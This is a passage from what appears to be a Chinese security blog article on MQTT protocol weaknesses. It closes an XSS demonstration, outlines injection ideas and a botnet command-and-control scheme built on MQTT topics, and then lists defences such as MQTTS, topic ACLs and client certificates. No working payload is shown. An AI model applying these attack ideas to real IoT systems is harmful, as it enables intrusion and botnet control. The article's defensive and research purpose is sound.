167);text-align: justify;"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">Bingo，这里只是弹窗演示一下，<strong>实际攻击环境中可以更换为XSS平台的payload</strong><br/></span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3. 其他漏洞</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">现在MQTT Broker供应商越来越多，但是经过这几天的检索，发现漏洞其实并没有想象的那么多。但是很多攻击面是可以预见的，像是发布者发送消息到订阅者，Broker有可能将其存入数据库，如果<strong>没有做好转义</strong>，是否能够产生<strong>注入</strong>等等</span></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">这里也仅仅是提供一下思路，希望能够达到抛砖引玉的效果，如果师傅们发现什么好玩的漏洞，<strong>欢迎来《物联网IoT安全》公众号投稿</strong></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;">4 其他</span></span></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">MQTT在僵尸网络中的应用</span></h2><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">MQTT在僵尸网络中应用这一思路最早是由Lucas和Neal在DEFCON24上提出<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);font-size: 10px;"><sup>[7]</sup></span>，如下图所示</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5950520833333334" data-s="300,640" style="" data-type="png" data-w="1536" src="https://wechat2rss.xlab.app/img-proxy/?k=4930a577&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnqTnPjlpIicFlPlKfoVUybibD6Slmzk3PbqPb09DRSuHZ2BCDODGUJZ4g%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">被控IoT设备即是发布者也是订阅者，僵尸设备<strong>发布关于设备自身运行状态到bot/status主题</strong>，同时<strong>订阅用于执行命令的bot/command主题</strong><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">而<strong>C&amp;C攻击者可以通过bot/command主题向设备发送指令，通过订阅bot/status主题获取每个设备的运行状态</strong></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 22.4px;letter-spacing: 2px;text-align: center;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">5 防范措施</span></span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1. 使用<strong>MQTTS</strong>防止中间人攻击</span></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2. 在MQTT Broker上<strong>启用Topic ACL</strong></span></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3. 尽量<strong>使用客户端证书</strong>作为设备身份凭证，以验证设备合法性</span></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">总之，MQTT协议在安全上做出了很多努力，但是<strong>使用者并不在意这些安全特性，可能是受限于硬件资源或是对于安全的不重视</strong></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4523281596452328" data-s="300,640" data-type="png" data-w="902" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=e6f192b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnmCBsiazGnhgiaIrE6JicSicIwTibBokV2FpAoFdSXNia9iciaVpMfQ2lsiafialw%2F640%3Fwx_fmt%3Dpng"/></p><p style="white-space: normal;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">如果想要了解更多MQTT的安全防范机制，可以</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">访问</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//www.hivemq.com/mqtt-security-fundamentals/</span></span></code></pre></section><p style="white-space: normal;"><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">以获得帮助</span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);"></span><br/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-size: 22.4px;">6 TODO</span></span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">最近一直在使用MQTT-PWN，但感觉<strong>不是特别好用</strong>。希望有时间<strong>LMN师傅</strong>可以开发一个MQTT的漏洞利用套件<strong>【MQTT-SUIT】</strong><br/></span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;text-align: center;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(63, 63, 63);font-size: 22.4px;">7 参考引用</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">[<span class="code-snippet__meta">1</span>] MQTT: The Standard <span class="code-snippet__keyword">for</span> IoT Messaging. Retrieved January <span class="code-snippet__number">7</span>, <span class="code-snippet__number">2021</span>, <span class="code-snippet__keyword">from</span> https:<span class="code-snippet__comment">//mqtt.org/</span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">2</span>] 郭朝斌.(<span class="code-snippet__number">2020</span>, November <span class="code-snippet__number">25</span>). 物联网开发实战. 极客时间. Available January <span class="code-snippet__number">7</span>, <span class="code-snippet__number">2021</span>, <span class="code-snippet__keyword">from</span> https:<span class="code-snippet__comment">//time.geekbang.org/column/article/312691</span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">3</span>] MQTT 发布订阅模式介绍. Retrieved January <span class="code-snippet__number">7</span>, <span class="code-snippet__number">2021</span>, <span class="code-snippet__keyword">from</span> https:<span class="code-snippet__comment">//www.emqx.io/cn/blog/mqtt-5-introduction-to-publish-subscribe-model</span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">4</span>] MQTT Topic-based Message Routing. Retrieved January <span class="code-snippet__number">7</span>, <span class="code-snippet__number">2021</span>, <span class="code-snippet__keyword">from</span> https:<span class="code-snippet__comment">//docs.emqx.io/en/enterprise/v3.0/mqtt.html</span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">5</span>] Tiger-Team.(<span class="code-snippet__number">2020</span>, July <span class="code-snippet__number">31</span>).物联网安全之MQTT协议安全. 安全课. Retrieved January <span class="code-snippet__number">7</span>, <span class="code-snippet__number">2021</span>, <span class="code-snippet__keyword">from</span> https:<span class="code-snippet__comment">//www.anquanke.com/post/id/212335</span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">6</span>] https:<span class="code-snippet__comment">//github.com/akamai-threat-research/mqtt-pwn</span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">7</span>] L, Lundgren.(<span class="code-snippet__number">2016</span>). Light Weight Protocol Serious Equipment Critical Implications. Defcon <span class="code-snippet__number">24.</span> Retrieved January <span class="code-snippet__number">7</span>, <span class="code-snippet__number">2021</span>, <span class="code-snippet__keyword">from</span> https:<span class="code-snippet__comment">//www.defcon.org/html/defcon-24/dc-24-speakers.html</span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">8</span>] S. Andy, B. Rahardjo and B. Hanindhito, <span class="code-snippet__string">&#34;Attack scenarios and security analysis of MQTT communication protocol in IoT system,&#34;</span> <span class="code-snippet__number">2017</span> <span class="code-snippet__number">4</span>th International Conference <span class="code-snippet__keyword">on</span> Electrical Engineering, <span class="code-snippet__function">Computer Science and <span class="code-snippet__title">Informatics</span> (<span class="code-snippet__params">EECSI</span>), Yogyakarta, 2017, pp. 1-6, doi: 10.1109/EECSI.2017.8239179.</span></span></code><code><span class="code-snippet_outer">[9] D. Evans, “ The Internet of things: how the next evolution of the Internet <span class="code-snippet__keyword">is</span> changing everything,” Cisco Internet Business Solution Group White Paper, April 2011.</span></code></pre></section><section data-mpa-template="t" data-from="yb-recommend-list"><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="3" data-recommend-article-id="2247486554_1" data-recommend-article-time="1598367457" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/djiam4RadAPbvxm6ypoTBIyiaYw7rsF39AQMlxOgkjwbnEnY29w4iamjmePku7fZKqku5a5OgL5JUwibFXoRFGllZg/0?wx_fmt=jpeg" data-recommend-article-title="手把手带你搭建钓鱼Wi-Fi热点[1]" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486554&amp;idx=1&amp;sn=230088994b318cb213e41f23a7093982&amp;chksm=faae5491cdd9dd87521f796e9c1dfdebdb9df6082e623f5c7bd9c2d68056df36cf6beccec093#rd"><section data-recommend-type="normal" data-recommend-tid="3" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;padding: 5px;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);" data-mid=""><section style="width: 100%;padding: 5px 5px 8px;background: #e6eeff;border-radius: 2px;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;margin-bottom: 6px;" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486554&amp;idx=1&amp;sn=230088994b318cb213e41f23a7093982&amp;chksm=faae5491cdd9dd87521f796e9c1dfdebdb9df6082e623f5c7bd9c2d68056df36cf6beccec093&amp;scene=21#wechat_redirect" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-w="1080" data-type="jpeg" style="width: 100%;max-height: 112px;object-fit: cover;margin: 0px;inset: auto;" data-ratio="0.425" src="https://wechat2rss.xlab.app/img-proxy/?k=10e95a05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbvxm6ypoTBIyiaYw7rsF39AQMlxOgkjwbnEnY29w4iamjmePku7fZKqku5a5OgL5JUwibFXoRFGllZg%2F640%3Fwx_fmt%3Djpeg"/></span></a></section><section style="width: 100%;padding-left: 3px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p data-recommend-title="t" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486554&amp;idx=1&amp;sn=230088994b318cb213e41f23a7093982&amp;chksm=faae5491cdd9dd87521f796e9c1dfdebdb9df6082e623f5c7bd9c2d68056df36cf6beccec093&amp;scene=21#wechat_redirect" data-linktype="2">手把手带你搭建钓鱼Wi-Fi热点[1]</a></p></section></section></section></section></section><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="3" data-recommend-article-id="2247486445_1" data-recommend-article-time="1595764800" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/rTicZ9Hibb6RVuMgR4b2QeRLbL9dpib2g1pPh5cDjBoiblKIDrgAg49gBPS11Ie84tJD8LZJJtDLiaQY2iawps0b3OFw/0?wx_fmt=jpeg" data-recommend-article-title="利用区块链技术保障IoT安全" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486445&amp;idx=1&amp;sn=409fa8d354842cf2b567dede0f399f84&amp;chksm=faae5326cdd9da30167cf4682a0c0093dc09872aa23656693ea1875d1fe1cd280995527dda71#rd"><section data-recommend-type="normal" data-recommend-tid="3" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;padding: 5px;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);" data-mid=""><section style="width: 100%;padding: 5px 5px 8px;background: #e6eeff;border-radius: 2px;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;margin-bottom: 6px;" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486445&amp;idx=1&amp;sn=409fa8d354842cf2b567dede0f399f84&amp;chksm=faae5326cdd9da30167cf4682a0c0093dc09872aa23656693ea1875d1fe1cd280995527dda71&amp;scene=21#wechat_redirect" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-w="1080" data-type="jpeg" style="width: 100%;max-height: 112px;object-fit: cover;margin: 0px;inset: auto;" data-ratio="0.42407407407407405" src="https://wechat2rss.xlab.app/img-proxy/?k=2ada96e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RVuMgR4b2QeRLbL9dpib2g1pPh5cDjBoiblKIDrgAg49gBPS11Ie84tJD8LZJJtDLiaQY2iawps0b3OFw%2F640%3Fwx_fmt%3Djpeg"/></span></a></section><section style="width: 100%;padding-left: 3px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p data-recommend-title="t" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486445&amp;idx=1&amp;sn=409fa8d354842cf2b567dede0f399f84&amp;chksm=faae5326cdd9da30167cf4682a0c0093dc09872aa23656693ea1875d1fe1cd280995527dda71&amp;scene=21#wechat_redirect" data-linktype="2">利用区块链技术保障IoT安全</a></p></section></section></section></section></section><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="3" data-recommend-article-id="2247486210_1" data-recommend-article-time="1592495353" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/djiam4RadAPZ2HgGhlIraCCEkrwY71Jic1SSbwVlQWkB7M7JiavZ8icPibECSh8xFYjNiaJ7xibIZMnsVz5mushnWbMyg/0?wx_fmt=jpeg" data-recommend-article-title="智能汽车安全入门｜世界智能驾驶挑战赛总结" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486210&amp;idx=1&amp;sn=5f127ffbc7056b50df7822bb62402589&amp;chksm=faae53c9cdd9dadf1f6b607ec5847a602cda3abe99a2519494bb12dd5ecba4944c44ec42915e#rd"><section data-recommend-type="normal" data-recommend-tid="3" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;padding: 5px;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);" data-mid=""><section style="width: 100%;padding: 5px 5px 8px;background: #e6eeff;border-radius: 2px;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;margin-bottom: 6px;" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486210&amp;idx=1&amp;sn=5f127ffbc7056b50df7822bb62402589&amp;chksm=faae53c9cdd9dadf1f6b607ec5847a602cda3abe99a2519494bb12dd5ecba4944c44ec42915e&amp;scene=21#wechat_redirect" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-w="1080" data-type="jpeg" style="width: 100%;max-height: 112px;object-fit: cover;margin: 0px;inset: auto;" data-ratio="0.42777777777777776" src="https://wechat2rss.xlab.app/img-proxy/?k=c4538248&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPZ2HgGhlIraCCEkrwY71Jic1SSbwVlQWkB7M7JiavZ8icPibECSh8xFYjNiaJ7xibIZMnsVz5mushnWbMyg%2F640%3Fwx_fmt%3Djpeg"/></span></a></section><section style="width: 100%;padding-left: 3px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p data-recommend-title="t" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486210&amp;idx=1&amp;sn=5f127ffbc7056b50df7822bb62402589&amp;chksm=faae53c9cdd9dadf1f6b607ec5847a602cda3abe99a2519494bb12dd5ecba4944c44ec42915e&amp;scene=21#wechat_redirect" data-linktype="2">智能汽车安全入门｜世界智能驾驶挑战赛总结</a></p></section></section></section></section></section><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="3" data-recommend-article-id="2247485907_1" data-recommend-article-time="1586268354" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/djiam4RadAPacNCjrnkaicZc0k5CNoicb3xM8lZichQNVOyT1daXZWnTJguGX5t7iben9mA69UiaBmQ2WnBDhSWMnDcA/0?wx_fmt=jpeg" data-recommend-article-title="初识物联网安全" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485907&amp;idx=1&amp;sn=614c2df489aaf5cf7af909dc75ed08a0&amp;chksm=faae5118cdd9d80eb4ed2e87bc7b814d6c7ee10411a582a0459b608d0dd1431ba70785af9789#rd"><section data-recommend-type="normal" data-recommend-tid="3" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;padding: 5px;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);" data-mid=""><section style="width: 100%;padding: 5px 5px 8px;background: #e6eeff;border-radius: 2px;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;margin-bottom: 6px;" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485907&amp;idx=1&amp;sn=614c2df489aaf5cf7af909dc75ed08a0&amp;chksm=faae5118cdd9d80eb4ed2e87bc7b814d6c7ee10411a582a0459b608d0dd1431ba70785af9789&amp;scene=21#wechat_redirect" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-w="1080" data-type="jpeg" style="width: 100%;max-height: 112px;object-fit: cover;margin: 0px;inset: auto;" data-ratio="0.562962962962963" src="https://wechat2rss.xlab.app/img-proxy/?k=8a098ce3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPacNCjrnkaicZc0k5CNoicb3xM8lZichQNVOyT1daXZWnTJguGX5t7iben9mA69UiaBmQ2WnBDhSWMnDcA%2F640%3Fwx_fmt%3Djpeg"/></span></a></section><section style="width: 100%;padding-left: 3px;font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;" data-mid=""><p data-recommend-title="t" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485907&amp;idx=1&amp;sn=614c2df489aaf5cf7af909dc75ed08a0&amp;chksm=faae5118cdd9d80eb4ed2e87bc7b814d6c7ee10411a582a0459b608d0dd1431ba70785af9789&amp;scene=21#wechat_redirect" data-linktype="2">初识物联网安全</a></p></section></section></section></section></section><section data-mpa-template="t" data-from="yb-recommend" data-recommend-article-type="normal" data-recomment-template-id="3" data-recommend-article-id="2247485825_2" data-recommend-article-time="1584022868" data-recommend-article-cover="http://mmbiz.qpic.cn/mmbiz_jpg/djiam4RadAPZ3j6umDI6neJPb9cNvQJmIa0XrTQU92ItrFMT839FecR6UXXceQKSDRicEPpnhp38MToC2WOxBNhg/0?wx_fmt=jpeg" data-recommend-article-title="骚姿势获取无线路由器后台权限" data-recommend-article-content-url="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485825&amp;idx=2&amp;sn=29ce2ce1183af1204be56d82f0311c94&amp;chksm=faae514acdd9d85c055e9684d74099ff22435858120f9ed759629eeb3d0e1eb05165c0d4242e#rd"><section data-recommend-type="normal" data-recommend-tid="3" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid=""><section style="width: 100%;padding: 5px;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);" data-mid=""><section style="width: 100%;padding: 5px 5px 8px;background: #e6eeff;border-radius: 2px;" data-mid=""><section style="width: 100%;display: flex;justify-content: center;align-items: center;margin-bottom: 6px;" data-mid=""><a href="http://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485825&amp;idx=2&amp;sn=29ce2ce1183af1204be56d82f0311c94&amp;chksm=faae514acdd9d85c055e9684d74099ff22435858120f9ed759629eeb3d0e1eb05165c0d4242e&amp;scene=21#wechat_redirect" data-linktype="1"><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-w="1080" data-type="jpeg" style="width: 100%;max-height: 112px;object-fit: cover;margin: 0px;inset: auto;" 